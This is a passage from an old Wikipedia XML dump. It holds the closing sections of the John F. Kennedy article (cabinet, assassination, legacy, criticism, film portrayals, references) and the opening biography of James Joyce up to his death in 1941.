|align=&quot;left&quot;|[[United States Secretary of Defense|Defense]]||align=&quot;left&quot;|'''[[Robert S. McNamara]]'''||align=&quot;left&quot;|1961&amp;ndash;1963		
|-
|align=&quot;left&quot;|[[Attorney General of the United States|Justice]]||align=&quot;left&quot;|'''[[Robert F. Kennedy]]'''||align=&quot;left&quot;|1961&amp;ndash;1964		
|-
|align=&quot;left&quot;|[[Postmaster General of the United States|Postmaster General]]||align=&quot;left&quot;|'''[[J. Edward Day]]'''||align=&quot;left&quot;|1961&amp;ndash;1963		
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[John A. Gronouski]]'''||align=&quot;left&quot;|1963		
|-
|align=&quot;left&quot;|[[United States Secretary of the Interior|Interior]]||align=&quot;left&quot;|'''[[Stewart L. Udall]]'''||align=&quot;left&quot;|1961&amp;ndash;1963		
|-
|align=&quot;left&quot;|[[United States Secretary of Agriculture|Agriculture]]||align=&quot;left&quot;|'''[[Orville L. Freeman]]'''||align=&quot;left&quot;|1961&amp;ndash;1963		
|-
|align=&quot;left&quot;|[[United States Secretary of Commerce|Commerce]]||align=&quot;left&quot;|'''[[Luther H. Hodges]]'''||align=&quot;left&quot;|1961&amp;ndash;1963		
|-
|align=&quot;left&quot;|[[United States Secretary of Labor|Labor]]||align=&quot;left&quot;|'''[[Arthur J. Goldberg]]'''||align=&quot;left&quot;|1961&amp;ndash;1962
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[W. Willard Wirtz]]'''||align=&quot;left&quot;|1962&amp;ndash;1963		
|-
|align=&quot;left&quot;|[[United States Secretary of Health, Education, and Welfare|HEW]]||align=&quot;left&quot;|'''[[Abraham A. Ribicoff]]'''||align=&quot;left&quot;|1961&amp;ndash;1962		
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Anthony J. Celebrezze]]'''||align=&quot;left&quot;|1962&amp;ndash;1963		
|}		
&lt;br clear=&quot;all&quot;&gt;		
[[Image:KennedyCabinet.jpg|thumb|right|Kennedy's Cabinet meets during the Cuban Missile Crisis]]

===Supreme Court appointments===		
Kennedy appointed the following Justices to the [[Supreme Court of the United States]]:	
 		
* [[Byron Raymond White]]  1962		
* [[Arthur Joseph Goldberg]]  1962

===Assassination and aftermath===		
[[Image:JFKmotorcade.jpg|thumb|right|President Kennedy, Jackie, and Gov. [[John Connally]] in the Presidential limousine shortly before the assassination.]]		
{{main|John F. Kennedy assassination}}		
President Kennedy was assassinated in [[Dallas, Texas|Dallas]], [[Texas]] on Friday, [[November 22]], [[1963]] at 12:30 pm [[CST]] while on a political trip through Texas. [[Lee Harvey Oswald]] was charged at 7:00 pm for killing Dallas policeman, J.D. Tippit, by &quot;murder with malice&quot;, and also charged at 11:30 pm for the murder of the president (there being no charge of &quot;assassination&quot; of a president at that time). Oswald was fatally shot less than two days later in Dallas police station by [[Jack Ruby]]. Five days after Oswald was killed, the new president, [[Lyndon B. Johnson]], created the [[Warren Commission]], chaired by Chief Justice [[Earl Warren]], to investigate the assassination. It concluded that Oswald was the lone assassin. A later investigation in the 1970s by the [[House Select Committee on Assassinations]] (HSCA) also concluded that Oswald was the assassin, however, it added that he was likely part of a [[conspiracy]] to kill the president, although the committee did not uncover sufficient evidence to identify any other members of the conspiracy. 		
 		
Critics have proposed a number of [[Kennedy assassination theories]] which contradict the various theories on exactly how the assassination took place that have been proposed by the government's official reports. There is no consensus among government investigations, let alone amongst their critics, on the number of bullets fired at the president, the direction from which all the bullets were fired, and which of the bullets struck the president, and [[List of Governors of Texas|Governor]] [[John Connally]], who was also wounded in the attack.		
 		
[[Lee Harvey Oswald]] denied shooting anyone, and claimed he was being set up as a &quot;[[patsy]]&quot;. He claimed the photograph of him holding the alleged murder weapon was a fabrication, and that he would prove his face was pasted on the body of someone else holding the rifle. However, because of his own murder by [[Jack Ruby]], Oswald's guilt or innocence was never determined in a court of law. Some critics contend that Oswald was not involved at all and that he was framed.

Among the most widely posited conspirators in the assassination are the [[CIA]], the [[mafia]], the [[KGB]], and [[Fidel Castro]], Vice President [[Lyndon B. Johnson]], and the military-industrial complex.

==Image, social life and family==		
{{see|Kennedy political family}}		
Both Kennedy and his wife &quot;Jackie&quot; were very young in comparison to earlier presidents and first ladies, and were both extraordinarily popular in ways more common to [[pop singer]]s and [[movie star]]s than politicians, influencing fashion trends and becoming the subjects of numerous photo spreads in popular magazines.		
 		
[[Image:Kennedy bros.jpg|thumb|right|200px|The Kennedy brothers during the 1960 campaign: John, Robert, and Edward (Ted)]]		
The Kennedys brought a new life and vigor to the atmosphere of the [[White House]]. They believed that the White House should be a place to celebrate American history, culture, and achievement, and invited artists, writers, scientists, poets, musicians, actors, [[Nobel Prize]] winners and athletes to visit. [[Jacqueline Kennedy]] also gathered new [[art]] and [[furniture]] and eventually restored all the rooms in the White House.		
The White House also seemed like a more fun, youthful place, because of the Kennedys' two young children, [[Caroline Kennedy|Caroline]] and [[John F. Kennedy Jr.|John Jr.]] (who came to be known in the popular press as &quot;John-John&quot; though years later Jacqueline Kennedy denied that the family called him by that name). Outside the White House Lawn, the Kennedys established a pre-school, swimming pool, and tree house.		
 		
Behind the glamorous facade, the Kennedys also suffered many personal tragedies. Jacqueline suffered a miscarriage in 1955, and gave birth to a stillborn daughter in 1956. (Although the daughter was unnamed  and is buried at Arlington National Cemetery next to her parents with a marker reading &quot;Daughter&quot; Kennedy  later reports indicated that the Kennedys had intended to call her Arabella.) The death of their newborn son [[Patrick Bouvier Kennedy]] in August 1963 was a great loss. 		
 		
The charisma of Kennedy and his family led to the figurative designation of &quot;[[Camelot (disambiguation)|Camelot]]&quot; for his administration, credited by his widow to his affection for the contemporary Broadway musical of the same name.

Kennedy is the third most [[Gallup's List of Widely Admired People|admired]] person in the 20th century, according to [[Gallup]].

==Legacy==		
[[Image:JFKCasketLeavesCapitolHill.JPG|thumb|left|200px|The world mourned the assassinated president]]		
 		
[[Television]] became the primary source by which people kept informed of events surrounding John F. Kennedy's assassination, with newspapers the following day becoming more souvenirs than sources of updated information. U.S. networks switched to 24 hour news coverage for the first time ever. [[State funeral of John F. Kennedy|Kennedy’s state funeral]] and the murder of [[Lee Harvey Oswald]] were all broadcast live in America and in other places around the world. It was with this event that television matured as a news source rivaling that of newspapers.		
 		
The assassination had such an impact on every American, most that were alive when first learning of the news that Kennedy was assassinated vividly remember where they were when they received word. U.N. Ambassador [[Adlai Stevenson]] said of the assassination that &quot;all of us...will bear the grief of his death until the day of ours.&quot; 		
 		
[[Image:JFK grave.jpg|thumb|right|200px|Kennedy's grave at Arlington National Cemetery.]]		
On [[March 14]], [[1967]] Kennedy's body was moved to a permanent burial place and memorial at [[Arlington National Cemetery]]. Kennedy is buried with his wife and their deceased children, and his brother Robert is also buried nearby. His grave is marked with an &quot;[[John F. Kennedy Eternal Flame|Eternal Flame]].&quot; Kennedy and [[William Howard Taft]] are the only two US Presidents buried at Arlington.		
 		
Many of Kennedy's speeches, especially his inaugural address, are considered to be inspiring and iconic. Despite his relatively short term in office and a lack of major legislative changes during his term, Americans regularly vote him as one of the best presidents, in the same league as [[Abraham Lincoln]], [[George Washington]] and [[Franklin D. Roosevelt]]. Selected excerpts of Kennedy's inaugural address are engraved on marble panels at his grave at Arlington.		
 		
==Memorials==		
[[Image:wiki_kennedy.JPG|thumb|left|200px]]		
Kennedy's legacy has been memorialized in various aspects of American culture. To name a few:		
*New York Idlewild International Airport was renamed [[John F. Kennedy International Airport|JFK]] on [[December 24]], [[1963]]. Even though the airport was renamed &quot;John F. Kennedy International Airport,&quot; most people refer to it as &quot;JFK.&quot;		
*The ''[[USS John F. Kennedy (CV-67)|USS John F. Kennedy]]'' was awarded on [[April 30]], [[1964]] as a [[United States Navy|U.S. Navy]] [[aircraft carrier]].		
*The [[John F. Kennedy Presidential Library]] opened in 1979 as Kennedy's official [[presidential library]].		
*[[John F. Kennedy University]] opened in [[Pleasant Hill, California]] in 1964 as a school for adult education. 		
*[[John F. Kennedy National Historic Site]] preserves his home in [[Brookline, Massachusetts]]. 		
*The [[John F. Kennedy Center for the Performing Arts]] opened in 1971 in Washington, DC as a living memorial to him.
*A British memorial at [[Runnymede]], England, as well as a memorial bust near Regent's Park in London.
*A memorial on the harbor at Hyannis Port, Massachusetts.		
[[Cape Canaveral]] was renamed Cape Kennedy in 1963, but reverted to its original name in 1973.		
 		
Hundreds of schools across the U.S were also renamed in his honor. 	 		
Posthumously awarded the [[Presidential Medal of Freedom]] in 1963, Kennedy's portrait now appears on the [[United States half dollar coin]].		
 		
==Criticism==		
[[Image:wanted for treason.jpg|thumb|230px|A famous handbill circulated on November 21, 1963		
In Dallas, Texas. One day before the [[assassination of John F. Kennedy]].]]		
 		
Kennedy is among the most popular former presidents of the United States; however, a number of critics argue that his reputation is largely undeserved. Although he was young and charismatic, he had little chance to achieve much during his presidency. Under this reasoning, his immense popularity results from the fact that his short time in office was marked by the optimistic beginnings of many programs declared to be of great benefit to the United States, its people, and various global issues. Unlike the tenures of other U.S. presidents, Kennedy's time in office, generally speaking, thereby lacked the scandals and controversies seen in the terms of many other presidents who served longer. The [[Civil Rights Act of 1964|Civil Rights Act]] that he sent to Congress in June of 1963 was, at least in part, conceived by his brother and Attorney General [[Robert F. Kennedy]], and it was signed into law by his successor, Lyndon Johnson, in 1964.

Kennedy and his vice president Lyndon B. Johnson are primarily blamed for sending the first combat troops into the largely unpopular Vietnam War. Kennedy is also blamed by millions of Cubans for the Bay of Pigs slaughter, in which thousands of Cubans were killed, even after being promised protection from the United States. This promise was broken when Kennedy backed out at the last moment. Many Cuban refugees felt betrayed by the Kennedy adminstration and became Republicans. Many of them served in public office in the state of Florida and in other parts of the nation.

In 2000, The Wall Street Journal joined with the Federalist Society to sponsor a rating of former presidents by a panel of 78 academics, carefully chosen for political balance. The rankings and impressive commentary can be found as &quot;Hail to the Chief.&quot; Going up just in time to be swamped by the Florida election contest, the project has not received the attention it deserves. No fewer than 43 raters, an outright majority of the panel, considered President John F. Kennedy overrated. An essay by Akhil Reed Amar of Yale Law School faults JFK for appeasing Southern Democrats by stocking the lower federal bench with &quot;notorious segregationists&quot;; the best civil rights judges were Eisenhower appointees. And with the appointment of his brother as attorney general, he tried to found a political dynasty, abhorred by the Founding Fathers. &quot;The metaphor of Camelot, after all, is ultimately un-American and undemocratic, conjuring up images of crowns and dashing young princes and noble birth.&quot; 	
 		
Kennedy's personal life has also attracted the ire of critics, some of whom argue that lapses in judgment in his personal life impacted his professional life. Among the critics' charges are: that the Kennedy family concealed from the public his serious, potentially life-threatening health issues (e.g., he suffered from [[Addison's disease]]) and his heavy medication regimen; that he had a long history of extramarital affairs; and that he had alleged, circuitous links to [[organized crime]] figures. Seymour Hersh's ''The Dark Side of Camelot'' (1998) presents such a critical argument. Robert Dallek's ''An Unfinished Life'' (2003) is a more balanced biography, but contains much detail on Kennedy's health issues.		
 		
Another of Kennedy's critics is U.S. intellectual [[Noam Chomsky]], whose book ''Rethinking Camelot: JFK, the Vietnam War, and US Political Culture'' (1993) presents an image of the Kennedy administration opposite to the one that lingers in mainstream memory. The book is a criticism of policy rather than his personal life, and explores information not usually presented about the 35th president. In particular, Chomsky and many other critics highlight the ill-planned increased U.S. involvement in the [[Vietnam War|Vietnam conflict]] during Kennedy's administration.

==Trivia==
*JFK was the first president born in the 20th century.
		
*Because of his early death at the age of 46, he was outlived by three of his predecessors, [[Herbert Hoover]] (1874-1964), [[Harry S. Truman]] (1884-1972) and [[Dwight D. Eisenhower]] (1890-1969), and four of his successors who were actually older than he, [[Lyndon B. Johnson]] (1908-1973), [[Richard Nixon]] (1913-1994), [[Gerald Ford]] (b. 1913) and [[Ronald Reagan]] (1911-2004).

==Kennedy in the movies==		
 		
* ''[[PT 109 (film)|PT 109]]'' (1963): played by [[Cliff Robertson]]		
 		
* ''[[The Missiles of October]]'' (1974, TV): played by [[William Devane]]		
 		
* ''[[The Private Files of J. Edgar Hoover]]'' (1977): played by [[William Jordan]]	
 		
* ''[[Johnny, We Hardly Knew Ye]]'' (1977, TV): played by [[Paul Rudd]]		
 		
* ''[[Young Joe, the Forgotten Kennedy]]'' (1977, TV): played by [[Sam Chew Jr.]]	
 		
* ''[[King (TV miniseries)|King]]'' (1978, TV): played by William Jordan		
 		
* ''[[Jacqueline Bouvier Kennedy (TV movie)|Jacqueline Bouvier Kennedy]]'' (1981, TV): played by [[James Franciscus]]		
 		
* ''[[Blood Feud (TV movie)|Blood Feud]]'' (1983, TV): played by [[Sam Groom]]		
 		
* ''[[Kennedy (TV miniseries)|Kennedy]]'' (1983, TV): played by [[Martin Sheen]]	
 		
* ''[[Prince Jack]]'' (1985): played by [[Robert Hogan]]		
 		
* ''[[Robert Kennedy &amp; His Times]]'' (1985, TV): played by [[Cliff De Young]]		
 		
* ''[[J. Edgar Hoover (TV movie)|J. Edgar Hoover]]'' (1987, TV): played by [[Art Hindle]]
 		
* ''[[LBJ: The Early Years]]'' (1987, TV): played by [[Charles Frank]]		
 		
* ''[[Onassis: The Richest Man in the World]]'' (1988, TV): played by [[David Gillum]]	
 		
* ''[[The Kennedys of Massachusetts]]'' (1990, TV): played by [[Steven Weber (actor)|Steven Weber]]		
 		
* ''[[Malcolm X (film)|Malcolm X]]'' (1992): played by [[Steve Reed (actor)|Steve Reed]]
		
* ''[[Ruby (film)|Ruby]]'' (1992): played by [[Gérard David]] and [[Kevin Wiggins]]	
	
* ''[[Sinatra (TV movie)|Sinatra]]'' (1992, TV): played by [[James F. Kelly]]	
 		
* ''[[J.F.K.: Reckless Youth]]'' (1993, TV): played by [[Patrick Dempsey]]		
 		
* ''[[Forrest Gump]]'' (1994): played by [[Jed Gillin]]		
 		
* ''[[Norma Jean &amp; Marilyn]]'' (1996, TV): played by [[Perry Stephens]]		
 		
* ''[[The Rat Pack (TV movie)|The Rat Pack]]'' (1998, TV): played by [[William L. Petersen]]		
 		
* ''[[Bonanno: A Godfather's Story]]'' (1999, TV): played by [[Matt Norklun]]
		
* ''[[Thirteen Days]]'' (2000): played by [[Bruce Greenwood]]		
 		
* ''[[Jackie Bouvier Kennedy Onassis]]'' (2000, TV): played by [[Tim Matheson]]		

* ''[[Jackie, Ethel, Joan: The Women of Camelot]]'' (2001, TV): played by [[Daniel Hugh Kelly]]		
 		
* ''[[Power and Beauty]]'' (2002, TV): played by [[Kevin Anderson (actor)|Kevin Anderson]]

* ''[[RFK (film)|RFK]]'' (2002, TV): played by [[Martin Donovan]]		
 		
* ''[[America's Prince: The John F. Kennedy Jr. Story]]'' (2003, TV): played by [[Randy Triggs]]

==See also==		
* [[John F. Kennedy assassination]]		
* [[Kennedy assassination theories]]		
* [[John F. Kennedy, Jr.]]		
* [[Robert F. Kennedy assassination]]
* [[State funeral of John F. Kennedy]]		
* [[Kennedy Compound]]		
* [[John F. Kennedy Center for the Performing Arts]]		
* [[John Fitzgerald Kennedy Library]] in Boston, Massachusetts	
* [[U.S. presidential election, 1960]]		
* [[History of the United States (1945-1964)|History of the United States (1945&amp;ndash;1964)]]		
* [[Jesuit Ivy]]		
* [[Peace Corps]]		
* [[John F. Kennedy Eternal Flame]]		
* [[Runnymede|John F. Kennedy Memorial]] at Runnymede, England	
* [[Kennedy Memorial Trust]] 		
* [[Five cents John Kennedy]], postage stamp		
* [[Whiz Kids]]		
* [[Evelyn Lincoln]], personal secretary to the President	
* [[Kennedy Doctrine]]		
* [[Lincoln/Kennedy Coincidences]]		
* [[Coincidence theory]]		
* [[Kennedy curse]]		
* [[List of people on stamps of Ireland]]		
 		
==References==		
===Secondary sources===		
* Brauer, Carl. ''John F. Kennedy and the Second Reconstruction'' (1977)		
* Burner, David. ''John F. Kennedy and a New Generation'' (1988)		
*{{cite book | author=Dallek, Robert | title=An Unfinished Life : John F. Kennedy, 1917  1963 | publisher=Brown, Little | year=2003 | id=ISBN 0316172383}}		
*Freedman, Lawrence. ''Kennedy's Wars: Berlin, Cuba, Laos, and Vietnam (2000)		
* Fursenko, Aleksandr and Timothy Naftali. ''One Hell of a Gamble: Khrushchev, Castro, and Kennedy, 1958-1964'' (1997)
* Giglio, James. ''The Presidency of John F. Kennedy'' (1991), standard scholarly overview.		
* Harper, Paul, and Joann P. Krieg eds. ''John F. Kennedy: The Promise Revisited'' (1988) scholarly articles on presidency.		
* Harris, Seymour E. ''The Economics of the Political Parties, with Special Attention to Presidents Eisenhower and Kennedy'' (1962)		
*Heath, Jim F. ''Decade of Disillusionment: The Kennedy-Johnson Years'' (1976)		
*Kunz; Diane B. ''The Diplomacy of the Crucial Decade: American Foreign Relations during the 1960s'' (1994)		
* O'Brien, Michael. ''John F. Kennedy: A Biography'' (2005)		
* Parmet, Herbert. ''JFK: The Presidency of John F. Kennedy'' (1983)		
* Patterson, James T''. Grand Expectations: The United States, 1945–1974'' (1996).		
* Piper, Michael Collins. &quot; Final Judgment&quot; 2004 (sixth edition). American Free Press. 		
* Reeves, Richard. ''President Kennedy: Profile of Power'' (1993)		
* Reeves, Thomas. ''A Question of Character: A Life of John F. Kennedy'' (1991) negative assessment 		
* Schlesinger, Arthur, Jr. ''A Thousand Days: John F. Kennedy in the White House'' (1965) by a close advisor. 		
* Sorenson, Theodore. ''Kennedy'' (1966) by a close advisor.		
 		
===Primary sources===		
*Goldzwig, Steven R. and George N. Dionisopoulos, eds. ''In a Perilous Hour: The Public Address of John F. Kennedy'', text and analysis of key speeches (1995)		
 		
==Media==		
{{multi-video start}}		
{{multi-video item |		
filename = Kennedy inauguration footage.ogg |		
title = Kennedy inauguration footage |		
description = Newsreel footage of the inauguration ceremony and speeches. (18.7 [[Megabyte|MB]], [[ogg]]/[[Theora]] format). |		
format = [[Theora]]		
}}		
{{multi-video end}}		
 		
==External links==		
{{wikiquote}}		
{{Wikisource author}}		
* [http://www.jfklibrary.org/ John F. Kennedy Library]	
* [http://www.pophistorynow.com/samples.htm  The 1960's Week-By-Week - Follows JFK's run to the White House and his time as President. Very comprehensive and includes a look at First Lady Jackie's influence on pop culture]   
* [http://www.whitehouse.gov/history/presidents/jk35.html The White House Biography]		
* [http://search.yale.edu:8765/query.html?col=ycsg&amp;col=opa&amp;col=yaleuniv&amp;col=dynamic&amp;qt=John+F.+Kennedy&amp;charset=iso-8859-1&amp;qp=%2Burl%3Awww.yale.edu%2Flawweb%2Favalon JFK at the Avalon Project]		
* [http://www.whitehousetapes.org/pages/tapes_jfk.htm JFK's Secret White House Recordings @ University of Virginia's Miller Center of Public Affairs]		
*[http://www.heraldrysociety.us/presidents/index.php?page=Kennedy Armigerous American Presidents Series]		
* [http://vvl.lib.msu.edu/showfindingaid.cfm?findaidid=KennedyJF Audio clips of Kennedy's speeches and other commentary]		
* [http://www.spartacus.schoolnet.co.uk/JFKindex.htm Assassination of President Kennedy Encyclopaedia]		
* [http://mcadams.posc.mu.edu/home.htm McAdams website about JFK]
* [http://www.csicop.org/si/2005-01/strange-world.html article: Facts and Fiction in the Kennedy Assassination]		
* [http://www.rootdig.com/john_f_kennedy.html John F. Kennedy in United States Census Records]		
* [http://www.doctorzebra.com/prez/g35.htm Medical and Health history of John F. Kennedy]		
* {{gutenberg author| id=John+F.+Kennedy | name=John F. Kennedy}}
* [http://mcadams.posc.mu.edu/stjohn.htm St. John the Liberal?]		
* [http://bioguide.congress.gov/scripts/biodisplay.pl?index=K000107 Biographical Directory of the U.S. Congress]		
* [http://www.kcur.org/UTDarchive.html Gretchen Rubin radio interview]. [[November 4]], [[2005]] on ''Up To Date''.		
 		
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[[Category:Harvard alumni|Kennedy, John F.]]
[[Category:History of Texas|Kennedy, John F.]]
[[Category:Irish-American politicians|Kennedy, John F.]]
[[Category:John F. Kennedy assassination|Kennedy, John F.]]
[[Category:Kennedy family|Kennedy, John F.]]
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  </page>
  <page>
    <title>James Joyce</title>
    <id>15600</id>
    <revision>
      <id>41841611</id>
      <timestamp>2006-03-02T02:20:41Z</timestamp>
      <contributor>
        <username>Markalexander100</username>
        <id>44845</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Biff boffkins|Biff boffkins]] ([[User talk:Biff boffkins|talk]]) to last version by Markalexander100</comment>
      <text xml:space="preserve">{{Infobox_Biography
|subject_name=James Augustine Aloysius Joyce
|image_name=Joyce oconnell dublin.jpg
|image_caption=Irish novelist, short-story writer and poet
|date_of_birth=[[2 February]] [[1882]]
|place_of_birth=[[Rathgar]], [[Dublin]], [[Ireland]]
|dead=dead
|date_of_death=[[13 January]] [[1941]]
|place_of_death=[[Zürich]], [[Switzerland]]}}

'''James Augustine Aloysius Joyce''' ([[2 February]] [[1882]] &amp;ndash; [[13 January]] [[1941]]) was an [[expatriate]] [[Ireland|Irish]] writer and poet, widely considered to be one of the most influential writers of the [[20th century]].  He is best known for his short story collection ''[[Dubliners]]'' ([[1914]]), and his novels ''[[A Portrait of the Artist as a Young Man]]'' ([[1916]]), ''[[Ulysses (novel)|Ulysses]]'' ([[1922]]), and ''[[Finnegans Wake]]'' ([[1939]]).

Although most of his adult life was spent outside the country, Joyce's Irish experiences are essential to his writings and provide all of the settings for his fiction and much of their subject matter. His fictional universe is firmly rooted in [[Dublin]] and reflects his family life and the events and friends (and enemies) from his school and college days. Due to this, he became both one of the most cosmopolitan and one of the most local of all the great [[English language]] [[modernist literature|modernists]].

==Life and writings==
===Dublin, 1882-1904===
In 1882, James Augustine Joyce was born into a [[Catholic]] family in the Dublin [[suburb]] of [[Rathgar]]. He was the eldest of ten surviving children; two of his siblings died of typhoid. His father's family, originally from [[Cork]], once owned a small salt and lime works. Both Joyce's paternal grandfather and his father married into wealthy families. In 1887, his father, [[John Joyce|John Stanislaus Joyce]], was appointed rate collector by [[Dublin Corporation]]; the family subsequently moved to the fashionable new suburb of [[Bray]]. Around this time Joyce was attacked by a dog, which added them to his lifelong fear of thunderstorms, a fear that had been inspired by his deeply religious aunt as a sign of God's divine wrath.

In [[1891]], James wrote a poem, &quot;Et Tu Healy,&quot; on the death of [[Charles Stewart Parnell]]. His father had it printed and even sent a copy to the [[Vatican Library]]. In November of that same year, John Joyce was entered in ''[[Stubbs Gazette]]'' (an official register of [[bankrupt|bankruptcies]]) and suspended from work. In 1893 John Joyce was dismissed with a [[pension]]. This was the beginning of a slide into [[poverty]] for the family, mainly due to John's drinking and general financial mismanagement.

James Joyce was initially educated at [[Clongowes Wood College]], a boarding school in [[County Kildare]], which he entered in 1888 but had to leave in 1892 when his father could no longer pay the fees. Joyce then studied at home and briefly at the [[Christian Brothers]] school on North Richmond Street, Dublin, before he was offered a place in the [[Jesuits]]' Dublin school, [[Belvedere College]], in 1893. The offer was made at least partly in the hope that he would prove to have a vocation and join the Order. Joyce, however, would reject [[Catholicism]] by the age of 16, although the philosophy of [[St. Thomas Aquinas]] would remain a strong influence on him throughout his life.

He enrolled at the recently established [[University College Dublin]] in 1898, as [[Trinity College, Dublin|Trinity College]] was still off-limits to Catholics. He studied modern languages, specifically [[English language|English]], [[French language|French]] and [[Italian language|Italian]].  He also became active in theatrical and literary circles in the city. His review of ''[[Henrik Ibsen|Ibsen]]'s New Drama'' was published in 1900 and resulted in a letter of thanks from the [[Norway|Norwegian]] dramatist himself. Joyce wrote a number of other articles and at least two plays (since lost) during this period. Many of the friends he made at University College would appear as characters in Joyce's written works.

After graduating from UCD in 1903, Joyce left for Paris; ostensibly to study medicine, but in reality he squandered money his family could ill afford. He returned to Ireland after a few months, when his mother was diagnosed with cancer. Joyce refused to pray at her bedside but this seems to have had more to do with Joyce's agnosticism than antagonism for his mother. After she died he continued to drink heavily, and conditions at home grew quite appalling. He scraped a living reviewing books, teaching and singing. On [[7 January]] [[1904]], he wrote ''A Portrait of the Artist'', an essay-story dealing with aesthetics, in a day, only to have it rejected from the free-thinking magazine ''Dana''. He decided, on his twenty-second birthday, to revise the story and turn it into a novel he planned to call ''Stephen Hero''.  The same year he met [[Nora Barnacle]], a young woman from [[Connemara]], [[County Galway]] who was working as a chambermaid. On [[16 June]] [[1904]], they went on their first date, an event which would be commemorated by providing the date for the action of ''Ulysses''. Joyce remained in Dublin for some time longer, drinking heavily. After one of these drinking binges, he got into an fight over a misunderstanding with a man in [[Phoenix Park]]; he was picked up and dusted off by a minor acquaintance of his father's, Alfred H. Hunter, who brought him into his home to tend to his injuries. Hunter was rumored to be a [[Jew]] and to have an unfaithful wife, and would serve as one of the models for [[Leopold Bloom]], the main protagonist of ''Ulysses''. He took up with medical student [[Oliver St John Gogarty]], who formed the basis for the character Buck Mulligan in ''Ulysses''. After staying in Gogarty's [[Martello Tower]] for six nights he left in the middle of the night following an altercation which involved Gogarty shooting a pistol in his direction. He walked all the way back to Dublin to stay with relatives for the night, and sent a friend to the tower the next day to pack his trunk. Shortly thereafter he eloped to the continent with Nora.

===1904-1920: Trieste and Zurich===
Joyce and Nora went into self-imposed exile, moving first to [[Zurich]], where he had supposedly acquired a post teaching English at the [[Berlitz Language Schools|Berlitz Language School]] through an agent in England. It turned out that the English agent had been swindled, but the director of the school sent him on to [[Trieste]], in [[Austria-Hungary]]. Once again, he found there was no position for him, but with the help of Almidano Artifoni, director of the Trieste Berlitz school, he finally secured a teaching position in [[Pula|Pola]], then part of Austria-Hungary (today part of [[Croatia]]). He stayed there from October 1904 through March 1905, when the Austrians discovered an espionage ring in the city and expelled all aliens. With Artifoni's help, he moved back to Trieste and began teaching English. He would remain in Trieste for most of the next ten years.

Later that year Nora gave birth to their first child, George. He then managed to talk his brother, [[Stanislaus Joyce|Stanislaus]], into joining him in Trieste, and secured him a position teaching at the school. Ostensibly his reasons were for his company and offering his brother a much more interesting life than the simple clerking job he had back in Dublin, but in truth, he hoped to augment his family's meagre income with his brother's earnings. Stanislaus and Joyce had strained relations the entire time they lived together in Trieste, most arguments centering around Joyce's frivolity with money and drinking habits.

With chronic wanderlust much of his early life, Joyce became frustrated with life in Trieste and moved to [[Rome]] in late 1906, having secured a position working in a bank in the city. He intensely disliked Rome, however, and ended up moving back to Trieste in early 1907. His daughter [[Lucia Joyce|Lucia]] was born in the summer of the same year.

Joyce returned to Dublin in the summer of 1909 with George, in order to visit his father, show off his son and work on getting ''Dubliners'' published. He visited Nora's family in [[Galway]], meeting them for the first time (a successful visit, to his relief). When preparing to return to Trieste he decided to bring one of his sisters, Eva, back to Trieste with him in order to help Nora look after the home. He would spend only a month back in Trieste before again heading back to Dublin, this time as a representative of some cinema owners in order to set up a regular cinema in Dublin. The venture was successful (but would quickly fall apart in his absence), and he returned to Trieste in January 1910 with another sister in tow, Eileen. While Eva became very homesick for Dublin and returned a few years later, Eileen spent the rest of her life on the continent, eventually marrying Czech bank cashier Frantisek Schaurek.

Joyce returned to Dublin briefly in the summer of 1912 during his years-long fight with his Dublin publisher, George Roberts, over the publication of ''Dubliners''. His trip was once again fruitless, and on his return he wrote the poem &quot;Gas from a Burner&quot; as a thinly veiled invective of Roberts. It was his last trip to Ireland, and he never came closer to Dublin than London again, despite the many pleas of his father and invitations from fellow Irish writer [[William Butler Yeats]].

Joyce came up with many money-making schemes during this period of his life, such as his attempt to become a cinema magnate back in Dublin, as well as an always-discussed but never-accomplished plan to import Irish tweeds into Trieste. His expert borrowing skills kept him from ever becoming completely destitute. His income was made up partially from his position at the Berlitz school, and partially from taking on private students. Many of his aquaintances through meeting these private students proved invaluable allies during his problems getting out of Austria-Hungary and into [[Switzerland]] in 1915.

One of his students in Trieste was [[Italo Svevo|Ettore Schmitz]], better known by the pseudonym [[Italo Svevo]]; they met in 1907 and became lasting friends and mutual critics. Schmitz was a Jew, and became the primary model for Leopold Bloom; most of the details about the Jewish faith included in ''Ulysses'' came from Schmitz in response to Joyce's queries. Joyce would spend most of the rest of his life on the Continent. It was in Trieste that he first began to be plagued by major eye problems, which would result in over a dozen surgeries before his death.

In 1915 he moved to Zurich in order to avoid the complexities of living in Austria-Hungary during [[World War I]], where he met one of his most enduring and important friends, Frank Budgen, whose opinion Joyce constantly sought through the writing of ''Ulysses'' and ''Finnegans Wake''. It was also here where [[Ezra Pound]] brought him to the attention of English feminist and publisher [[Harriet Shaw Weaver]], who would become Joyce's patron, providing him thousands of pounds over the next 25 years and relieving him of the burden of teaching in order to focus on his writing. After the war he returned to Trieste briefly, but found the city had changed, and his relations with his brother (who had been interred in an Austrian prison camp for most of the war due to his pro-Italian politics) were more strained than ever. Joyce headed to Paris in 1920 at an invitation from Ezra Pound, supposedly for a week, but he ended up living there for the next twenty years.

===1920-1941: Paris and Zurich===
He travelled frequently to Switzerland for eye surgeries and treatments for Lucia, who suffered from [[schizophrenia]]. In Paris, [[Maria Jolas|Maria]] and [[Eugene Jolas]] nursed Joyce during his long years of writing ''Finnegans Wake''. Were it not for their unwavering support (along with Harriet Shaw Weaver's unwavering financial support), there is a good possibility that his books might never have been finished or published. In their now legendary literary magazine ''&quot;transition'',&quot;  the Jolases published serially various sections of Joyce's novel under the title ''Work in Progress.'' He returned to Zurich to live after the [[Nazi]] occupation of [[France]] in [[1939]]. He lived quietly in Zurich for the next two years. On [[11 January]] [[1941]], he underwent surgery for a perforated ulcer. While at first improved, he relapsed the following day, and despite several transfusions, fell into a coma. He awoke at 2 a.m. on [[13 January]] [[1941]], and asked for a nurse to call his wife and son before losing consciousness again. They were still en route when he expired fifteen minutes later. He is buried in the [[Fluntern Cemetery]] within earshot of the lions in the Zurich zoo. His wife Nora, (whom he finally married in London in 1931) survived him by 10 years.  She is buried now by his side, as is their son George, who passed away in 1976.

==Major works==
[[Image:CBI - SERIES C - TEN POUND NOTE.PNG|right|300px|thumb|James Joyce as depicted on the £10 note of [[Series C Banknotes (Ireland)|Series C of Ireland]]]]

'''Dubliners'''

